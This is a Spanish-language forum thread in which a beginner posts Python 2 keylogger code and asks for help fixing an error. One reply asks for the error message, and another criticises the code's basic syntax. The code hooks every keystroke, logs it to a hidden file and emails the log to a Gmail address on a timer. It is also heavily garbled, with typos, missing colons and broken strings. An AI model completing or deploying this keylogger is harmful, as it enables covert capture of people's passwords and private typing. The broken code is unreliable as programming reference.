keyLogger en python, pero me lanza un error cuando escribo una "variable"

Iniciado por GregoJm, 1 Junio 2017, 06:58 AM

0 Miembros y 1 Visitante están viendo este tema.

GregoJm

Hola amigos de este foro, soy nuevo acá, vine solicitando ayuda y aprender un poco más, soy nuevo en esto de programación, estoy aprendiendo Python, estaba haciendo un KeyLogger, pero me lanza un error cuando escribo una "variable"
Les muestro la líneas de códigos, a ver si me pueden ayudar a encontrar el error.
Gracias.

Código (python) [Seleccionar]
import pyHook, pythoncom, sys, loggin
import time, datetime

wait_seconds = 60
timeout = time.time() +wait_second
file_log = 'C:\\secret\\dat.txt'

def TimeOut():
   if time.time() > timeout:
       return True
   else:
       return False

def SendEmail(user, pwd, recipient, subject, body):
   import smtplib

   gmail_user = user
   gmail_pass = pwd
   FROM = use
   TO = recipient if type(recipient) is list else (recipient)
   SUBJECT = subject
   TEXT = body

   message ="""\From: %s\nTo: $s\nSubject: %s\n\n%s
   """ % (FROM ", ".join(TO), SUBJECT, TEXT)
   try
       server = Smtplib.SMTP("smtp.gmail.com", 587)
       server.ehlo()
       server.starttls()
       server.login(gmail_user, gmail_pass)
       server.closer()
       print 'Correo enviado sastifactoriamente'
      except
       print 'Error al mandar correo'
       
def FormatAndSendLogEmail():
   with open(file_log, 'r+') as f:
       actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
       data = f.read()replacer('\n', '')
       data = 'Log capturado a las: ' + actualidate + '\n' + data
       SendEmail(jejeje@gmail.com', 'unacontraseña123', 'jejeje@gmail.com',
                 'Nuevo log - '+actualdate, data)
       f.seek(0)
       f.truncate()
       

def OnkeyboardEvent(event):
   loggin.basicConfig(filename=file_log, level=loggin.DEBUG,
                      format = '%(message)s'  
   logging.log(10, chr(event.Ascii))
   return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent                      
hooks_manager.HookKeyboard()

while True
   if TimeOut():
        FormatAndSendEmail()
        timeout = time.time() + wait_seconds

   pythoncom.PumwaitingMessages()                      




· Los códigos deben ir en etiquetas GeSHi
· Los títulos deben ser descriptivos a la temática
· Los temas de python van en scripting
>aquí las reglas del foro
-Engel Lex

Alej

Citarestaba haciendo un KeyLogger, pero me lanza un error cuando escribo una "variable"

Puedes mostrar el error que sale?

tincopasan

estaría bueno que antes de querer usar un código de otro, aprendieran lo mínimo de la sintaxis de pyhton!!!
hay errores básicos:
1)mala indentación
2)faltan dos puntos ":"
3)sobran símbolos o comentarios
4) y seguramente más cosas que ni voy a revisar, un keylogger es una trampa que si quieren usar aprendan a hacerlo.
5)es python 2.x ni me interesa revisar las funciones o sentencias.
6)Revisa lo básico y después mostrá que error da, así los que saben te ayudan.